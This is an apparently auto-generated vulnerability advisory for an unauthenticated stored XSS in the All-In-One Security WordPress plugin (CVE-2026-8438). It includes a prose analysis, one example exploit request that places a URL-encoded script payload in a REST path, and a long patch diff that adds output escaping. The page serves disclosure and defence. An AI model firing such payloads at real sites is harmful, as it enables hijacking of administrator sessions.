Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 12, 2026

CVE-2026-8438: All-In-One Security (AIOS) <= 5.4.7 Unauthenticated Stored Cross-Site Scripting via REST API Request Path PoC, Patch Analysis & Rule

CVE ID CVE-2026-8438
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.4.7
Patched Version 5.4.8
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8438:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) in the All-In-One Security (AIOS) plugin for WordPress, affecting versions up to and including 5.4.7. It allows an attacker to inject arbitrary JavaScript into the plugin’s debug logs, which executes when an administrator views the logs page. The CVSS score is 7.2, reflecting high impact with relatively simple exploitation.

The root cause lies in the `get_rest_route()` function which uses `urldecode($_SERVER[‘REQUEST_URI’])` to capture the REST API request path, and then concatenates this unsanitized value into a debug log message stored in the database. The `column_default()` method in the debug log list table (located in `all-in-one-wp-security-and-firewall/admin/general/wp-security-ajax-data-table.php` and `all-in-one-wp-security-and-firewall/admin/general/wp-security-list-table.php`) returns this raw stored value without escaping. The parent list table then echoes it directly, as seen in the vulnerable code where column_default() is an empty function (line ~1316-1320, no escaping). The vulnerability requires two features enabled: ‘Disable REST API for non-logged in users’ (aiowps_disallow_unauthorized_rest_requests) and debug logging (aiowps_enable_debug).

Exploitation is straightforward: an unauthenticated attacker sends a crafted REST API request to any `/wp-json/` endpoint with JavaScript payload URL-encoded in the path. For example, requesting `/wp-json/aiowps/v1/%3Cscript%3Ealert(‘XSS’)%3C/script%3E` causes the plugin to log the decoded string `alert(‘XSS’)` because `urldecode()` converts the URL-encoded payload into literal HTML. The attacker does not need any authentication. When a site administrator later visits the AIOS Dashboard Debug Logs page, the stored script executes in their browser session, allowing the attacker to steal nonces, perform privileged actions via AJAX or REST, or gain full site access.

The patch addresses the issue at the output layer. In the diff, the previously empty `column_default()` function is replaced with `echo esc_html($item[$column_name]);` (lines ~1316-1320 become active). This ensures that all data rendered in table cells is HTML-escaped before output. The patch also adds an `$allowed_html` array and uses `wp_kses()` for pagination and header markup, and escapes other outputs like `esc_html__()` for translatable strings. The root cause in the logging path (get_rest_route()) is not directly changed; the fix relies on sanitizing the output rather than the input, which is acceptable because the intended purpose of debug logs is to store raw request data.

Successful exploitation gives an attacker the ability to execute arbitrary JavaScript in the context of an authenticated administrator’s browser session. This enables theft of CSRF tokens and nonces, allowing the attacker to perform any action the admin can, such as modifying plugin settings, creating new admin users, installing malicious plugins, or extracting sensitive data from the WordPress database. The attack does not require any prior access, making it a significant threat to unpatched sites.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/all-in-one-wp-security-and-firewall/admin/general/wp-security-ajax-data-table.php
+++ b/all-in-one-wp-security-and-firewall/admin/general/wp-security-ajax-data-table.php
@@ -127,6 +127,41 @@
 		'extra_tablenav',
 		'single_row_columns',
 	);
+
+	/**
+	 * Allowed HTML tags and attributes used when rendering pagination & header markup.
+	 *
+	 * @var array
+	 */
+	protected $allowed_html = array(
+		'a' => array(
+			'class' => true,
+			'id'    => true,
+			'href'  => true,
+		),
+		'div' => array(
+			'class' => true,
+			'id'    => true,
+		),
+		'span' => array(
+			'class'       => true,
+			'id'          => true,
+			'aria-hidden' => true,
+		),
+		'label' => array(
+			'class' => true,
+			'for'   => true,
+		),
+		'input' => array(
+			'class'            => true,
+			'id'               => true,
+			'name'             => true,
+			'type'             => true,
+			'value'            => true,
+			'size'             => true,
+			'aria-describedby' => true,
+		),
+	);

 	/**
 	 * Constructor.
@@ -164,6 +199,11 @@
 			)
 		);

+		// Workaround for WordPress bug that was fixed in 6.1: https://core.trac.wordpress.org/ticket/49089
+		if (empty($GLOBALS['hook_suffix'])) {
+			$GLOBALS['hook_suffix'] = '';
+		}
+
 		$this->screen = convert_to_screen($args['screen']);

 		add_filter("manage_{$this->screen->id}_columns", array($this, 'get_columns'), 0);
@@ -184,8 +224,8 @@

 		if (empty($this->modes)) {
 			$this->modes = array(
-				'list'    => __('List view', 'all-in-one-wp-security-and-firewall'),
-				'excerpt' => __('Excerpt view', 'all-in-one-wp-security-and-firewall'),
+				'list'    => esc_html__('List view', 'all-in-one-wp-security-and-firewall'),
+				'excerpt' => esc_html__('Excerpt view', 'all-in-one-wp-security-and-firewall'),
 			);
 		}
 	}
@@ -484,10 +524,8 @@
 		echo '<option value="-1">' . esc_html__('Bulk actions', 'all-in-one-wp-security-and-firewall') . "</option>n";

 		foreach ($this->_actions as $name => $title) {
-			$class = 'edit' === $name ? ' class="hide-if-no-js"' : '';
-
-			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP error. HTML in $class doesn't need escaping.
-			echo "t" . '<option value="' . esc_attr($name) . '"' . $class . '>' . esc_html($title) . "</option>n";
+			$class = 'edit' === $name ? 'hide-if-no-js' : '';
+			echo "t" . '<option value="' . esc_attr($name) . '" class="' . esc_attr($class) . '">' . esc_html($title) . "</option>n";
 		}

 		echo "</select>n";
@@ -498,7 +536,7 @@
 			$submit_attributes['onclick'] = "return confirm('".esc_js(__('Are you sure you want to perform this bulk action?', 'all-in-one-wp-security-and-firewall'))."')";
 		}

-		submit_button(__('Apply', 'all-in-one-wp-security-and-firewall'), 'action', '', false, $submit_attributes);
+		submit_button(esc_html__('Apply', 'all-in-one-wp-security-and-firewall'), 'action', '', false, $submit_attributes);
 		echo "n";
 	}

@@ -530,29 +568,41 @@
 	 *
 	 * @since 3.1.0
 	 *
-	 * @param string[] $actions        - An array of action links.
-	 * @param bool     $always_visible - Whether the actions should be always visible.
-	 * @return string
+	 * @param array[] $actions - An array of action properties to make into a link.
 	 */
-	protected function row_actions($actions, $always_visible = false) {
+	protected function row_actions($actions) {
 		$action_count = count($actions);
 		$i            = 0;
-
-		if (!$action_count) {
-			return '';
+
+		if (empty($action_count)) {
+			return;
 		}
-
-		$out = '<div class="' . ($always_visible ? 'row-actions visible' : 'row-actions') . '">';
-		foreach ($actions as $action => $link) {
+
+		echo '<div class="row-actions">';
+
+		foreach ($actions as $action => $data) {
 			++$i;
-			($i == $action_count) ? $sep = '' : $sep = ' | ';
-			$out .= "<span class='$action'>$link$sep</span>";
-		}
-		$out .= '</div>';
-
-		$out .= '<button type="button" class="toggle-row"><span class="screen-reader-text">' . __('Show more details', 'all-in-one-wp-security-and-firewall') . '</span></button>';
-
-		return $out;
+
+			if (!isset($data['attributes']['href'])) {
+				$data['attributes']['href'] = '#';
+			}
+
+			echo '<span class="'.esc_attr($action).'">';
+				echo '<a';
+				foreach ($data['attributes'] as $attribute => $value) {
+					if ('href' === $attribute) {
+						echo ' href="'.esc_url($value).'"';
+					} else {
+						echo ' '.esc_attr($attribute).'="'.esc_attr($value).'"';
+					}
+				}
+				$sep = ($i === $action_count) ? '' : ' | ';
+				echo '>'.esc_html($data['text']).'</a>'.esc_html($sep);
+			echo '</span>';
+		}
+
+		echo '</div>';
+		echo '<button type="button" class="toggle-row"><span class="screen-reader-text">'.esc_html__('Show more details', 'all-in-one-wp-security-and-firewall').'</span></button>';
 	}

 	/**
@@ -863,11 +913,11 @@

 		if ('bottom' === $which) {
 			$html_current_page  = $current;
-			$total_pages_before = '<span class="screen-reader-text">' . __('Current page', 'all-in-one-wp-security-and-firewall') . '</span><span id="table-paging" class="paging-input"><span class="tablenav-paging-text">';
+			$total_pages_before = '<span class="screen-reader-text">' . esc_html__('Current page', 'all-in-one-wp-security-and-firewall') . '</span><span id="table-paging" class="paging-input"><span class="tablenav-paging-text">';
 		} else {
 			$html_current_page = sprintf(
 				"%s<input class='current-page' id='current-page-selector' type='text' name='paged' value='%s' size='%d' aria-describedby='table-paging' /><span class='tablenav-paging-text'>",
-				'<label for="current-page-selector" class="screen-reader-text">' . __('Current page', 'all-in-one-wp-security-and-firewall') . '</label>',
+				'<label for="current-page-selector" class="screen-reader-text">' . esc_html__('Current page', 'all-in-one-wp-security-and-firewall') . '</label>',
 				$current,
 				strlen($total_pages)
 			);
@@ -911,8 +961,7 @@
 		}
 		$this->_pagination = "<div class='tablenav-pages" . $page_class . "'>" . $output . "</div>";

-		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Necessary escaping done above.
-		echo $this->_pagination;
+		echo wp_kses($this->_pagination, $this->allowed_html);
 	}

 	/**
@@ -1120,7 +1169,7 @@

 		if (!empty($columns['cb'])) {
 			static $cb_counter = 1;
-			$columns['cb']     = '<label class="screen-reader-text" for="cb-select-all-' . $cb_counter . '">' . __('Select all', 'all-in-one-wp-security-and-firewall') . '</label>'
+			$columns['cb']     = '<label class="screen-reader-text" for="cb-select-all-' . $cb_counter . '">' . esc_html__('Select all', 'all-in-one-wp-security-and-firewall') . '</label>'
 				. '<input id="cb-select-all-' . $cb_counter . '" type="checkbox" />';
 			$cb_counter++;
 		}
@@ -1169,17 +1218,17 @@
 					. $sorting_indicators_html
 					. '</a>';
 			}
-
-			$tag   = ('cb' === $column_key) ? 'td' : 'th';
-			$scope = ('th' === $tag) ? 'scope="col"' : '';
-			$id    = $with_id ? "id='$column_key'" : '';
-
-			if (!empty($class)) {
-				$class = "class='" . join(' ', $class) . "'";
-			}
-
-			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Escaped earlier in other functions.
-			echo "<$tag $scope $id $class>$column_display_name</$tag>";
+
+			$tag = ('cb' === $column_key) ? 'td' : 'th';
+
+			printf(
+				'<%1$s %2$s %3$s class="%4$s">%5$s</%1$s>',
+				tag_escape($tag),
+				('th' === $tag) ? 'scope="col"' : '',
+				$with_id ? 'id="'.esc_attr($column_key).'"' : '',
+				esc_attr(join(' ', $class)),
+				wp_kses($column_display_name, $this->allowed_html)
+			);
 		}
 	}

@@ -1316,15 +1365,22 @@
 	 * @param array  $item        - Item object
 	 * @param string $column_name - Column name to be rendered from item object
 	 */
-	protected function column_default($item, $column_name) {} // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable, Squiz.WhiteSpace.ScopeClosingBrace.ContentBefore, PEAR.WhiteSpace.ScopeClosingBrace.Line -- this is a protected function
-
+	protected function column_default($item, $column_name) {
+		echo esc_html($item[$column_name]);
+	}
+
 	/**
 	 * This function renders the checkbox column
 	 *
 	 * @param array $item - item object
 	 */
-	protected function column_cb($item) {} // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable, Squiz.WhiteSpace.ScopeClosingBrace.ContentBefore, PEAR.WhiteSpace.ScopeClosingBrace.Line -- this is a protected function
-
+	protected function column_cb($item) {
+		printf(
+			'<input type="checkbox" name="%1$s[]" value="%2$s" />',
+			esc_attr($this->_args['singular']),  //Let's simply repurpose the table's singular label
+			esc_attr($item['id'])                //The value of the checkbox should be the record's id
+		);
+	}

 	/**
 	 * Generates the columns for a single row of the table
@@ -1350,57 +1406,24 @@

 			// Comments column uses HTML in the display name with screen reader text.
 			// Instead of using esc_attr(), we strip tags to get closer to a user-friendly string.
-			$data = 'data-colname="' . wp_strip_all_tags($column_display_name) . '"';
+			$data_colname = wp_strip_all_tags($column_display_name);

-			$attributes = "class='$classes' $data";
 			if ('cb' === $column_name) {
 				echo '<th scope="row" class="check-column">';
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo $this->column_cb($item);
+				$this->column_cb($item);
 				echo '</th>';
-			} elseif (method_exists($this, '_column_' . $column_name)) {
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo call_user_func(
-					array($this, '_column_' . $column_name),
-					$item,
-					$classes,
-					$data,
-					$primary
-				);
 			} elseif (method_exists($this, 'column_' . $column_name)) {
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo "<td $attributes>";
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo call_user_func(array($this, 'column_' . $column_name), $item);
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo $this->handle_row_actions($item, $column_name, $primary);
+				echo '<td class="'.esc_attr($classes).'" data-colname="'.esc_attr($data_colname).'">';
+				call_user_func(array($this, 'column_' . $column_name), $item);
 				echo '</td>';
 			} else {
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo "<td $attributes>";
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo $this->column_default($item, $column_name);
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo $this->handle_row_actions($item, $column_name, $primary);
+				echo '<td class="'.esc_attr($classes).'" data-colname="'.esc_attr($data_colname).'">';
+				$this->column_default($item, $column_name);
 				echo '</td>';
 			}
 		}
 	}

-	/**
-	 * Generates and display row actions links for the list table.
-	 *
-	 * @since 4.3.0
-	 *
-	 * @param object $item        - The item being acted upon.
-	 * @param string $column_name - Current column name.
-	 * @param string $primary     - Primary column name.
-	 * @return string The row actions HTML, or an empty string if the current column is the primary column.
-	 */
-	protected function handle_row_actions($item, $column_name, $primary) {
-		return $column_name === $primary ? '<button type="button" class="toggle-row"><span class="screen-reader-text">' . __('Show more details', 'all-in-one-wp-security-and-firewall') . '</span></button>' : '';
-	}
-

 	/**
 	 * Handle an incoming ajax request (called from admin-ajax.php)
--- a/all-in-one-wp-security-and-firewall/admin/general/wp-security-list-table.php
+++ b/all-in-one-wp-security-and-firewall/admin/general/wp-security-list-table.php
@@ -119,6 +119,41 @@
 	);

 	/**
+	 * Allowed HTML tags and attributes used when rendering pagination & header markup.
+	 *
+	 * @var array
+	 */
+	protected $allowed_html = array(
+		'a' => array(
+			'class' => true,
+			'id'    => true,
+			'href'  => true,
+		),
+		'div' => array(
+			'class' => true,
+			'id'    => true,
+		),
+		'span' => array(
+			'class'       => true,
+			'id'          => true,
+			'aria-hidden' => true,
+		),
+		'label' => array(
+			'class' => true,
+			'for'   => true,
+		),
+		'input' => array(
+			'class'            => true,
+			'id'               => true,
+			'name'             => true,
+			'type'             => true,
+			'value'            => true,
+			'size'             => true,
+			'aria-describedby' => true,
+		),
+	);
+
+	/**
 	 * Constructor.
 	 *
 	 * The child class should call this constructor from its own constructor to override
@@ -153,6 +188,11 @@
 			)
 		);

+		// Workaround for WordPress bug that was fixed in 6.1: https://core.trac.wordpress.org/ticket/49089
+		if (empty($GLOBALS['hook_suffix'])) {
+			$GLOBALS['hook_suffix'] = '';
+		}
+
 		$this->screen = convert_to_screen($args['screen']);

 		add_filter("manage_{$this->screen->id}_columns", array($this, 'get_columns'), 0);
@@ -173,8 +213,8 @@

 		if (empty($this->modes)) {
 			$this->modes = array(
-				'list'    => __('List view', 'all-in-one-wp-security-and-firewall'),
-				'excerpt' => __('Excerpt view', 'all-in-one-wp-security-and-firewall'),
+				'list'    => esc_html__('List view', 'all-in-one-wp-security-and-firewall'),
+				'excerpt' => esc_html__('Excerpt view', 'all-in-one-wp-security-and-firewall'),
 			);
 		}
 	}
@@ -475,9 +515,8 @@
 		echo '<option value="-1">' . esc_html__('Bulk actions', 'all-in-one-wp-security-and-firewall') . "</option>n";

 		foreach ($this->_actions as $name => $title) {
-			$class = 'edit' === $name ? ' class="hide-if-no-js"' : '';
-			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP error. Cannot escape $class with HTML inside.
-			echo "t" . '<option value="' . esc_attr($name) . '"' . $class . '>' . esc_html($title) . "</option>n";
+			$class = 'edit' === $name ? 'hide-if-no-js' : '';
+			echo "t" . '<option value="' . esc_attr($name) . '" class="' . esc_attr($class) . '">' . esc_html($title) . "</option>n";
 		}

 		echo "</select>n";
@@ -488,7 +527,7 @@
 			$submit_attributes['onclick'] = "return confirm('".esc_js(__('Are you sure you want to perform this bulk action?', 'all-in-one-wp-security-and-firewall'))."')";
 		}

-		submit_button(__('Apply', 'all-in-one-wp-security-and-firewall'), 'action', '', false, $submit_attributes);
+		submit_button(esc_html__('Apply', 'all-in-one-wp-security-and-firewall'), 'action', '', false, $submit_attributes);
 		echo "n";
 	}

@@ -522,29 +561,41 @@
 	 *
 	 * @since 3.1.0
 	 *
-	 * @param string[] $actions        An array of action links.
-	 * @param bool     $always_visible Whether the actions should be always visible.
-	 * @return string
+	 * @param array[] $actions - An array of action properties to make into a link.
 	 */
-	protected function row_actions($actions, $always_visible = false) {
+	protected function row_actions($actions) {
 		$action_count = count($actions);
 		$i            = 0;
-
-		if (!$action_count) {
-			return '';
+
+		if (empty($action_count)) {
+			return;
 		}
-
-		$out = '<div class="' . ($always_visible ? 'row-actions visible' : 'row-actions') . '">';
-		foreach ($actions as $action => $link) {
+
+		echo '<div class="row-actions">';
+
+		foreach ($actions as $action => $data) {
 			++$i;
-			($i == $action_count) ? $sep = '' : $sep = ' | ';
-			$out .= "<span class='$action'>$link$sep</span>";
-		}
-		$out .= '</div>';
-
-		$out .= '<button type="button" class="toggle-row"><span class="screen-reader-text">' . __('Show more details', 'all-in-one-wp-security-and-firewall') . '</span></button>';
-
-		return $out;
+
+			if (!isset($data['attributes']['href'])) {
+				$data['attributes']['href'] = '#';
+			}
+
+			echo '<span class="'.esc_attr($action).'">';
+				echo '<a';
+				foreach ($data['attributes'] as $attribute => $value) {
+					if ('href' === $attribute) {
+						echo ' href="'.esc_url($value).'"';
+					} else {
+						echo ' '.esc_attr($attribute).'="'.esc_attr($value).'"';
+					}
+				}
+				$sep = ($i === $action_count) ? '' : ' | ';
+				echo '>'.esc_html($data['text']).'</a>'.esc_html($sep);
+			echo '</span>';
+		}
+
+		echo '</div>';
+		echo '<button type="button" class="toggle-row"><span class="screen-reader-text">'.esc_html__('Show more details', 'all-in-one-wp-security-and-firewall').'</span></button>';
 	}

 	/**
@@ -873,11 +924,11 @@

 		if ('bottom' === $which) {
 			$html_current_page  = $current;
-			$total_pages_before = '<span class="screen-reader-text">' . __('Current page', 'all-in-one-wp-security-and-firewall') . '</span><span id="table-paging" class="paging-input"><span class="tablenav-paging-text">';
+			$total_pages_before = '<span class="screen-reader-text">' . esc_html__('Current page', 'all-in-one-wp-security-and-firewall') . '</span><span id="table-paging" class="paging-input"><span class="tablenav-paging-text">';
 		} else {
 			$html_current_page = sprintf(
 				"%s<input class='current-page' id='current-page-selector' type='text' name='paged' value='%s' size='%d' aria-describedby='table-paging' /><span class='tablenav-paging-text'>",
-				'<label for="current-page-selector" class="screen-reader-text">' . __('Current page', 'all-in-one-wp-security-and-firewall') . '</label>',
+				'<label for="current-page-selector" class="screen-reader-text">' . esc_html__('Current page', 'all-in-one-wp-security-and-firewall') . '</label>',
 				$current,
 				strlen($total_pages)
 			);
@@ -923,8 +974,7 @@
 		}
 		$this->_pagination = "<div class='tablenav-pages{$page_class}'>$output</div>";

-		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Necessary escaping done above.
-		echo $this->_pagination;
+		echo wp_kses($this->_pagination, $this->allowed_html);
 	}

 	/**
@@ -1133,7 +1183,7 @@

 		if (! empty($columns['cb'])) {
 			static $cb_counter = 1;
-			$columns['cb']     = '<label class="screen-reader-text" for="cb-select-all-' . $cb_counter . '">' . __('Select all', 'all-in-one-wp-security-and-firewall') . '</label>'
+			$columns['cb']     = '<label class="screen-reader-text" for="cb-select-all-' . $cb_counter . '">' . esc_html__('Select all', 'all-in-one-wp-security-and-firewall') . '</label>'
 				. '<input id="cb-select-all-' . $cb_counter . '" type="checkbox" />';
 			$cb_counter++;
 		}
@@ -1183,16 +1233,16 @@
 					. '</a>';
 			}

-			$tag   = ('cb' === $column_key) ? 'td' : 'th';
-			$scope = ('th' === $tag) ? 'scope="col"' : '';
-			$id    = $with_id ? "id='$column_key'" : '';
-
-			if (! empty($class)) {
-				$class = "class='" . join(' ', $class) . "'";
-			}
-
-			// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Escaped earlier in other functions.
-			echo "<$tag $scope $id $class>$column_display_name</$tag>";
+			$tag = ('cb' === $column_key) ? 'td' : 'th';
+
+			printf(
+				'<%1$s %2$s %3$s class="%4$s">%5$s</%1$s>',
+				tag_escape($tag),
+				('th' === $tag) ? 'scope="col"' : '',
+				$with_id ? 'id="'.esc_attr($column_key).'"' : '',
+				esc_attr(join(' ', $class)),
+				wp_kses($column_display_name, $this->allowed_html)
+			);
 		}
 		// phpcs:enable WordPress.Security.NonceVerification.Recommended -- No nonce.
 	}
@@ -1330,15 +1380,23 @@
 	 * @param array  $item        - Item object
 	 * @param string $column_name - Column name to be rendered from item object
 	 */
-	protected function column_default($item, $column_name) {} // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable, Squiz.WhiteSpace.ScopeClosingBrace.ContentBefore, PEAR.WhiteSpace.ScopeClosingBrace.Line -- this is a protected function
-
+	protected function column_default($item, $column_name) {
+		echo esc_html($item[$column_name]);
+	}
+
 	/**
 	 * This function renders the checkbox column
 	 *
 	 * @param array $item - item object
 	 */
-	protected function column_cb($item) {} // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable, Squiz.WhiteSpace.ScopeClosingBrace.ContentBefore, PEAR.WhiteSpace.ScopeClosingBrace.Line -- this is a protected function
-
+	protected function column_cb($item) {
+		printf(
+			'<input type="checkbox" name="%1$s[]" value="%2$s" />',
+			esc_attr($this->_args['singular']),  //Let's simply repurpose the table's singular label
+			esc_attr($item['id'])                //The value of the checkbox should be the record's id
+		);
+	}
+
 	/**
 	 * Generates the columns for a single row of the table
 	 *
@@ -1361,57 +1419,24 @@

 			// Comments column uses HTML in the display name with screen reader text.
 			// Instead of using esc_attr(), we strip tags to get closer to a user-friendly string.
-			$data = 'data-colname="' . wp_strip_all_tags($column_display_name) . '"';
-
-			$attributes = "class='$classes' $data";
+			$data_colname = wp_strip_all_tags($column_display_name);

 			if ('cb' === $column_name) {
 				echo '<th scope="row" class="check-column">';
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo $this->column_cb($item);
+				$this->column_cb($item);
 				echo '</th>';
-			} elseif (method_exists($this, '_column_' . $column_name)) {
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo call_user_func(
-					array($this, '_column_' . $column_name),
-					$item,
-					$classes,
-					$data,
-					$primary
-				);
 			} elseif (method_exists($this, 'column_' . $column_name)) {
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo "<td $attributes>";
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo call_user_func(array($this, 'column_' . $column_name), $item);
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo $this->handle_row_actions($item, $column_name, $primary);
+				echo '<td class="'.esc_attr($classes).'" data-colname="'.esc_attr($data_colname).'">';
+				call_user_func(array($this, 'column_' . $column_name), $item);
 				echo '</td>';
 			} else {
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo "<td $attributes>";
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo $this->column_default($item, $column_name);
-				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- PCP Error. Escaped earlier in other functions.
-				echo $this->handle_row_actions($item, $column_name, $primary);
+				echo '<td class="'.esc_attr($classes).'" data-colname="'.esc_attr($data_colname).'">';
+				$this->column_default($item, $column_name);
 				echo '</td>';
 			}
 		}
 	}

-	/**
-	 * Generates and display row actions links for the list table.
-	 *
-	 * @since 4.3.0
-	 *
-	 * @param object $item        The item being acted upon.
-	 * @param string $column_name Current column name.
-	 * @param string $primary     Primary column name.
-	 * @return string The row actions HTML, or an empty string if the current column is the primary column.
-	 */
-	protected function handle_row_actions($item, $column_name, $primary) {
-		return $column_name === $primary ? '<button type="button" class="toggle-row"><span class="screen-reader-text">' . __('Show more details', 'all-in-one-wp-security-and-firewall') . '</span></button>' : '';
-	}

 	/**
 	 * Handle an incoming ajax request (called from admin-ajax.php)
--- a/all-in-one-wp-security-and-firewall/admin/wp-security-admin-init.php
+++ b/all-in-one-wp-security-and-firewall/admin/wp-security-admin-init.php
@@ -340,7 +340,18 @@
 		wp_enqueue_script('chartjs-gauge', AIO_WP_SECURITY_URL . '/includes/chartjs/chartjs-gauge.min.js', array(), AIO_WP_SECURITY_VERSION, true);
 		wp_register_script('jquery-blockui', AIO_WP_SECURITY_URL.'/includes/blockui/jquery.blockUI.js', array('jquery'), AIO_WP_SECURITY_VERSION, true);
 		wp_enqueue_script('jquery-blockui');
-		wp_register_script('aiowpsec-admin-js', AIO_WP_SECURITY_URL. '/js/wp-security-admin-script.js', array('jquery'), AIO_WP_SECURITY_VERSION, true);
+		wp_register_script('aiowpsec-heartbeat-js', AIO_WP_SECURITY_URL. '/js/heartbeat.js', array('jquery'), AIO_WP_SECURITY_VERSION, true);
+		wp_enqueue_script('aiowpsec-heartbeat-js');
+		wp_localize_script('aiowpsec-heartbeat-js',
+			'aios_heartbeat_ajax',
+			array(
+				'ajaxurl' => admin_url('admin-ajax.php'),
+				'nonce' => wp_create_nonce('heartbeat-nonce'),
+				'aios_nonce' => wp_create_nonce(AIOWPSecurity_Heartbeat::NONCE_ACTION),
+				'interval' => AIOWPSecurity_Ajax::HEARTBEAT_INTERVAL
+			)
+		);
+		wp_register_script('aiowpsec-admin-js', AIO_WP_SECURITY_URL. '/js/wp-security-admin-script.js', array('jquery', 'aiowpsec-heartbeat-js'), AIO_WP_SECURITY_VERSION, true);
 		wp_enqueue_script('aiowpsec-admin-js');
 		wp_localize_script('aiowpsec-admin-js',
 			'aios_data',
@@ -378,6 +389,12 @@
 				'downgrading_firewall' => __('Downgrading firewall...', 'all-in-one-wp-security-and-firewall'),
 				'maintenance_mode_enabled' => __('Maintenance mode is currently enabled.', 'all-in-one-wp-security-and-firewall') . ' ' . __('Remember to disable it when you are done.', 'all-in-one-wp-security-and-firewall'),
 				'maintenance_mode_disabled' => __('Maintenance mode is currently disabled.', 'all-in-one-wp-security-and-firewall'),
+				'scan_now' => __('Scan Now', 'all-in-one-wp-security-and-firewall'),
+				'scan_result_initial' => __('This is your first file change detection scan.', 'all-in-one-wp-security-and-firewall') . ' ' . __('The details from this scan will be used for future scans.', 'all-in-one-wp-security-and-firewall'),
+				'scan_result_no_changes' => __('The scan is complete - There were no file changes detected.', 'all-in-one-wp-security-and-firewall'),
+				'scan_result_changes' => __('The scan has detected that there was a change in your website's files.', 'all-in-one-wp-security-and-firewall'),
+				'scan_result_view_link' => __('View the file scan results', 'all-in-one-wp-security-and-firewall'),
+				'scan_result_view_last_link' => __('View last file scan results', 'all-in-one-wp-security-and-firewall'),
 			)
 		);
 		wp_register_script('aiowpsec-pw-tool-js', AIO_WP_SECURITY_URL. '/js/password-strength-tool.js', array('jquery', 'zxcvbn-async'), AIO_WP_SECURITY_VERSION, true); // We will enqueue this in the user acct menu class
--- a/all-in-one-wp-security-and-firewall/admin/wp-security-admin-menu.php
+++ b/all-in-one-wp-security-and-firewall/admin/wp-security-admin-menu.php
@@ -43,7 +43,7 @@
 	protected function render_page($title) {
 		$current_tab = $this->get_current_tab();
 		?>
-		<div class="wrap">
+		<div class="wrap" id="aios-wrap">
 			<h2><?php echo esc_html($title); ?></h2>
 			<?php $this->render_tabs($current_tab); ?>
 			<div id="poststuff">
@@ -183,21 +183,39 @@
 	/**
 	 * Renders record(s) successfully deleted message at top of page.
 	 *
-	 * @param bool $return_instead_of_echo - This is used for when the function needs to return the message
+	 * @param bool $return_instead_of_echo - This is used for when the function needs to return the message.
+	 * @param bool $only_text              - Whether to only echo/return the text without div.
+	 *
 	 * @return mixed
 	 */
-	public static function show_msg_record_deleted_st($return_instead_of_echo = false) {
-		return AIOWPSecurity_Admin_Menu::show_msg_updated_st(__('The selected record(s) has been deleted successfully.', 'all-in-one-wp-security-and-firewall'), $return_instead_of_echo);
+	public static function show_msg_record_deleted_st($return_instead_of_echo = false, $only_text = false) {
+		$message = esc_html__('The selected record(s) has been deleted successfully.', 'all-in-one-wp-security-and-firewall');
+
+		if ($only_text) {
+			if ($return_instead_of_echo) return $message;
+			echo $message;
+		} else {
+			return AIOWPSecurity_Admin_Menu::show_msg_updated_st($message, $return_instead_of_echo);
+		}
 	}

 	/**
 	 * Renders record(s) unsuccessfully deleted message at top of page.
 	 *
-	 * @param bool $return_instead_of_echo - This is used for when the function needs to return the message
+	 * @param bool $return_instead_of_echo - This is used for when the function needs to return the message.
+	 * @param bool $only_text              - Whether to only echo/return the text without div.
+	 *
 	 * @return mixed
 	 */
-	public static function show_msg_record_not_deleted_st($return_instead_of_echo = false) {
-		return AIOWPSecurity_Admin_Menu::show_msg_error_st(__('The selected record(s) have failed to delete.', 'all-in-one-wp-security-and-firewall'), $return_instead_of_echo);
+	public static function show_msg_record_not_deleted_st($return_instead_of_echo = false, $only_text = false) {
+		$message = esc_html__('The selected record(s) have failed to delete.', 'all-in-one-wp-security-and-firewall');
+
+		if ($only_text) {
+			if ($return_instead_of_echo) return $message;
+			echo $message;
+		} else {
+			return AIOWPSecurity_Admin_Menu::show_msg_error_st($message, $return_instead_of_echo);
+		}
 	}

 	/**
